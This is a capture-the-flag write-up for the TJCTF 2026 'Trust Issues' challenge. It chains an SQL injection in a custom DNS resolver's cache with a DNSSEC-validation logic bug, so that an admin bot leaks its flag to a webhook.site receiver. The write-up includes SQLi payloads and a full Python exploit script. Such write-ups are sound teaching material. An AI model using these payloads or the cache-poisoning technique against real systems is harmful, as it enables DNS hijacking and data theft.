Crypto / Trust Issues - TJCTF 2026
A writeup on the Crypto / Trust Issues challenge from TJCTF 2026
The Challenge
trust-issues
Description
I made my own DNS resolver and I made sure I could trust it as much as my nameserver by using an even bigger elliptic curve
The admin bot will visit trust-issues.tjc.tf by querying the DNS resolver (which will be instanced), and the DNS resolver will query the nameserver to find the ip address of the website
DNS Resolver Instancer: https://dnsresolver-<instance>.tjc.tf
Admin Bot: https://admin-bot.tjctf.org/trust-issues
The goal is to make the admin bot visit a host that we control. The bot queries our resolver instance for:
trust-issues.tjc.tf AThen it navigates to:
https://<resolver answer>/?flag=<flag>So the real objective is not to attack the final website directly. The real objective is to make the custom resolver return our own host for trust-issues.tjc.tf while still passing its DNSSEC validation.
The Walkthrough
At first glance, the challenge looks like a pure crypto problem. The nameserver signs DNS records using DNSSEC algorithm 17, which is ECDSA over P-521. The description also explicitly mentions "an even bigger elliptic curve", so the obvious thought is to attack the signature scheme.
The nameserver does have a suspicious signing function:
k = secrets.randbits(512)For P-521, a 512-bit nonce is smaller than the curve order size. With enough signatures, this smells like a Hidden Number Problem attack against ECDSA. However, the resolver implementation had a much easier trust bug, so I did not need to recover the private key.
The solve path I used combines:
- SQL injection in the resolver cache insertion logic;
- cache poisoning of
recordsfortrust-issues.tjc.tf.; - a DNSSEC verifier logic bug where missing signing keys are skipped;
- manual admin submission because the admin bot page is protected by reCAPTCHA.
Architecture overview
The attachment contains three main services:
admin bot ---> custom DNS resolver ---> nameserver
\
\--> public DoH upstream for other namesThe important resolver behavior is:
- if the query name is
trust-issues.tjc.tf.and the type isA,AAAA,CNAME, orDNSKEY, it queries the challenge nameserver; - otherwise, it queries a public DNS-over-HTTPS upstream;
- it caches all returned records in a local SQLite database;
- before returning a cached record, it tries to validate the RRset with DNSSEC.
The resolver only exposes normal A, AAAA, and CNAME queries to users:
SUPPORTED_TYPES = {
"A": A,
"AAAA": AAAA,
"CNAME": CNAME,
}So we cannot simply ask the resolver to cache arbitrary DNSKEY or DS records from the HTTP interface. We need another primitive.
Bug 1: SQL injection in cache insertion
The resolver caches records with string interpolation:
cursor.execute(
f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, "
f"{record['TTL']}, {expires}, '{record['data']}')"
)Both record['name'] and record['data'] come from DNS responses. That means if we can make the resolver fetch a DNS answer whose owner name contains SQL syntax, the resolver will execute it.
The next question is: how do we make a public DNS response preserve our malicious owner name?
Wildcard DNS services such as sslip.io are perfect for this. A name like:
anything.127.0.0.1.sslip.ioresolves to 127.0.0.1, and the returned answer owner name remains our full query name. Therefore, we can put the SQL injection payload in the leftmost labels and let the resolver cache the resulting answer.
The resolver accepts a user-controlled upstream parameter, but using arbitrary external JSON upstreams was unreliable. The stable method is to point the upstream to Google DoH with the malicious query already embedded:
https://dns.google/resolve?name=<payload>.127.0.0.1.sslip.io&type=A&do=trueWhen the resolver later appends its own name=seed...&type=A&do=true, Google still uses the first name and type parameters. The returned DNS answer is then cached by the vulnerable resolver.
Bug 2: DNSSEC validation succeeds when no signing key matches
The resolver validates a cached RRset roughly like this:
for sig_row in rrsigs:
rrsig = parse_rrsig(sig_row)
signing_key = find_signing_key(rrsig, dnskeys)
if not signing_key:
continue
valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"])
if not valid:
return False
return TrueThis is the critical trust issue.
If an RRSIG exists, but none of the cached DNSKEY records match the RRSIG key tag, the loop just continues. If every signature is skipped this way, the function reaches the final return True.
That means a poisoned RRset can pass validation as long as:
- there is at least one RRSIG cached for the name and type;
- there is at least one DNSKEY cached for the signer;
- none of the DNSKEYs match the real RRSIG key tag.
We do not need to forge a P-521 ECDSA signature. We only need to make the resolver use a fake DNSKEY so it cannot find the real signing key.
Bug 3: fake DNSKEY validation also passes
The resolver validates DNSKEYs using DS records. But it only iterates over keys with KSK flag 257:
ksks = [r for r in dnskey_records if (r["data"].split()[0] == "257")]
for key_record in ksks:
for ds in parsed_ds:
if not verify_ds(key_record["data"], ds):
raise Exception(...)
return TrueSo if we cache only a fake ZSK with flag 256, then ksks is empty. The loop does not run and validation returns True.
For example, this fake DNSKEY is enough:
256 3 17 AA==We also cache a dummy DS record so get_cached_records(zone, DS) is non-empty:
1 17 2 deadbeefThe DS value does not need to be valid because there are no KSK records to check against it.
Putting the cache poison together
We need to insert three rows into the resolver's records table:
trust-issues.tjc.tf. A webhook.site/<token>/
trust-issues.tjc.tf. DNSKEY 256 3 17 AA==
trust-issues.tjc.tf. DS 1 17 2 deadbeefThe A record points to our Webhook.site receiver. The important detail is that the data is not an IPv4 address. That is fine because if DNSSEC verification is skipped before verify_rrset() encodes the RRset, the resolver simply returns the string as the A record data.
The SQLi payload for the fake A record is:
x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/<token>/')--For DNSKEY and DS records, spaces are inconvenient inside DNS labels, so I used SQLite replace() to create tab characters at SQL execution time:
x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--After those rows are cached, we query:
https://dnsresolver-<instance>.tjc.tf/?name=trust-issues.tjc.tf&type=AThe resolver already has our fake A record, so it does not need to fetch the A record again. But it still needs an RRSIG for trust-issues.tjc.tf. A, so it fetches the real RRSIG from the challenge nameserver.
Then validation uses:
real RRSIG(A) + fake DNSKEYThe key tag does not match, so the signature is skipped, and the verifier incorrectly returns True.
The final resolver response becomes:
{"data":"webhook.site/<token>/","name":"trust-issues.tjc.tf.","type":1}Admin bot and reCAPTCHA
One easy mistake is trying to submit to the admin bot with curl or requests.
This fails because the admin page is protected by reCAPTCHA:
location: ?url=https%3A%2F%2Fdnsresolver-...tjc.tf%2F&msg=The%20reCAPTCHA%20is%20invalid.So the final script should only poison the resolver and print the admin URL. Then we submit the resolver URL manually in the browser and solve the reCAPTCHA.
Once the admin bot accepts the submission, it queries the poisoned resolver, receives:
webhook.site/<token>/and visits:
https://webhook.site/<token>/?flag=tjctf{...}The flag appears in the Webhook.site request log.
Final Exploit
#!/usr/bin/env python3
import argparse
import random
import time
from urllib.parse import quote
import requests
WEBHOOK = "https://webhook.site"
RECORD_SUFFIXES = [
"127.0.0.1.sslip.io",
"1.1.1.1.sslip.io",
"127.0.0.1.nip.io",
]
def create_webhook_token(s):
r = s.post(
f"{WEBHOOK}/token",
json={
"default_status": 200,
"default_content": "ok",
"default_content_type": "text/plain",
"timeout": 0,
},
timeout=20,
)
r.raise_for_status()
token = r.json()["uuid"]
print(f"[*] Webhook token: {token}")
print(f"[*] Receiver: {WEBHOOK}/{token}")
return token
def google_upstream(qname, qtype="A"):
return "https://dns.google/resolve?name=%s&type=%s&do=true" % (
quote(qname, safe=""),
quote(qtype, safe=""),
)
def hit_resolver(s, resolver, upstream, label, timeout=35):
seed = f"seed-{random.randrange(1 << 48):012x}.invalid"
try:
r = s.get(
resolver,
params={"name": seed, "type": "A", "upstream": upstream},
timeout=timeout,
)
print(f"[*] {label}: HTTP {r.status_code}: {r.text[:220].replace(chr(10), ' ')}")
return r.status_code
except Exception as e:
print(f"[!] {label}: {e}")
return None
def stage_record_insert(s, resolver, payload_label, suffixes):
for suffix in suffixes:
qname = f"{payload_label}.{suffix}"
max_label = max(map(len, qname.split(".")))
print(f"[*] stage qname length={len(qname)} maxlabel={max_label} suffix={suffix}")
if len(qname) > 253 or max_label > 63:
print("[!] skipped: DNS name too long")
continue
status = hit_resolver(s, resolver, google_upstream(qname, "A"), f"seed via {suffix}")
if status in (404, 500, 502):
return True
return False
def build_payloads(token):
target = f"webhook.site/{token}/"
a_payload = (
"x',1,1,1,'x'),"
f"('trust-issues.tjc.tf.',1,300,4102444800,'{target}')--"
)
dnskey_payload = (
"x',1,1,1,'x'),"
"('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--"
)
ds_payload = (
"x',1,1,1,'x'),"
"('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--"
)
return target, [a_payload, dnskey_payload, ds_payload]
def check_resolver(s, resolver):
r = s.get(resolver, params={"name": "trust-issues.tjc.tf", "type": "A"}, timeout=25)
print(f"[*] Resolver check HTTP {r.status_code}: {r.text[:360].replace(chr(10), ' ')}")
try:
return r.json().get("data", "")
except Exception:
return ""
def main():
ap = argparse.ArgumentParser()
ap.add_argument("resolver", help="fresh resolver instance, e.g. https://dnsresolver-....tjc.tf/")
ap.add_argument("--record-suffix", action="append")
args = ap.parse_args()
resolver = args.resolver.strip()
if not resolver.endswith("/"):
resolver += "/"
s = requests.Session()
token = create_webhook_token(s)
target, payloads = build_payloads(token)
suffixes = (args.record_suffix or []) + RECORD_SUFFIXES
print("[*] Seeding fake A + fake DNSKEY + fake DS via add_record SQLi...")
for i, payload in enumerate(payloads, 1):
print(f"[*] payload {i}: len={len(payload)} maxlabel={max(map(len, payload.split('.')))}")
stage_record_insert(s, resolver, payload, suffixes)
data = check_resolver(s, resolver)
if data != target:
print("[!] Resolver did not return our poisoned A record.")
print(f" wanted: {target}")
print(f" got: {data!r}")
print(" Use a fresh resolver instance if an older poison row or the real A record is cached.")
return
print(f"[+] Poisoned resolver returns: {target}")
print("[*] Submit this resolver URL manually in the admin bot and solve reCAPTCHA:")
print(f" {resolver}")
print("[*] Then watch this Webhook.site receiver:")
print(f" {WEBHOOK}/{token}")
if __name__ == "__main__":
main()Run it against a fresh resolver instance:
python3 solve.py 'https://dnsresolver-<instance>.tjc.tf/'Expected output:
[*] Webhook token: 851a87d9-2cee-4ff0-aa33-9800c05adcb9
[*] Receiver: https://webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9
[*] Seeding fake A + fake DNSKEY + fake DS via add_record SQLi...
[*] Resolver check HTTP 200: {"data":"webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9/","name":"trust-issues.tjc.tf.","type":1}
[+] Poisoned resolver returns: webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9/Then open the admin bot in the browser, submit the clean resolver URL, solve the reCAPTCHA, and check Webhook.site.
Why This Works
The resolver is supposed to trust only DNSSEC-signed data from the nameserver. However, the trust boundary is broken in two places.
First, untrusted DNS response fields are written into SQLite through f-strings. This lets us seed arbitrary cached rows by making the resolver query a wildcard DNS name containing SQL syntax.
Second, the DNSSEC verifier treats "no matching signing key" as a non-fatal condition. If all signatures are skipped, validation returns success.
The full exploit flow is:
malicious qname under sslip.io
↓
Google DoH returns an A answer preserving our qname
↓
resolver caches it with SQL string interpolation
↓
SQLi inserts fake A + fake DNSKEY + fake DS for trust-issues.tjc.tf.
↓
resolver fetches real RRSIG(A) from challenge nameserver
↓
fake DNSKEY does not match the real RRSIG key tag
↓
verifier skips the signature and returns True
↓
admin bot receives webhook.site/<token>/ as the trusted A record
↓
admin visits our webhook with ?flag=...The ECDSA P-521 implementation was a tempting rabbit hole, but the successful exploit does not need to break ECDSA at all. The issue is not the math. The issue is that the resolver trusts its cache and mishandles the "no signing key found" case.
Final Words
This was a great challenge because the title, category, and description push you toward cryptography, while the actual exploit path is a trust-boundary failure in the custom resolver.
The important mistakes were:
- SQL string interpolation for DNS response data;
- caching data from arbitrary upstream answers;
- validating DNSKEYs incorrectly when no KSK exists;
- returning
Truewhen all RRSIGs are skipped due to missing signing keys.
Once those bugs are combined, the resolver can be made to trust a fake A record and send the admin bot to our webhook.
tjctf{trust_n0_on3_ev3r}"Mit Kanonen auf Spatzen schießen"
